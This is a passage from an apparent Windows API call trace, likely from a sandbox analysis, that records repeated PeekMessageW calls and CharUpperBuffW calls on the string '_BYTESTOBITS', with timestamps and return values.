lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.582] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.583] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.584] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.584] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.589] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.595] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.635] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.937] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.940] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.942] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.943] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.944] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.945] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.945] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.009] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.020] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.056] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.057] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.057] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.057] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.058] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.058] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.058] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.059] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.059] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.059] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.059] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.059] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.059] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.059] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.059] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.060] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.060] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.060] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.060] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.060] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.060] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.060] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.060] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.061] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.061] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.061] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.061] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.061] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.061] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.061] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.061] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.062] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.062] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.062] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.062] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.062] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.062] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.062] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.062] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.063] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.063] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.063] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.063] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.063] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.063] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.064] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.064] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.064] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.064] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.064] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.064] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.064] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.064] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.065] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.065] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.065] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.065] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.065] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.065] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.065] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.065] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.066] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.066] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.066] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.066] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.066] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.066] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.066] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.066] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.067] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.067] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.067] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.067] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.067] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.067] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.067] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.068] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.068] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.068] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.068] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.068] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.068] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.068] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.068] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.069] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.069] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.069] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.069] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.069] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.069] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.069] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.069] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.070] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.070] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.070] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.070] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.070] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.070] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.070] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.070] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.071] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.071] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.071] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.071] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.071] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.071] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.071] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.071] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.072] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.072] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.072] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.072] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.072] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.072] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.072] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.072] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.072] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.072] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.072] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.073] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.073] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.073] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.073] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.073] CharUpperBuffW 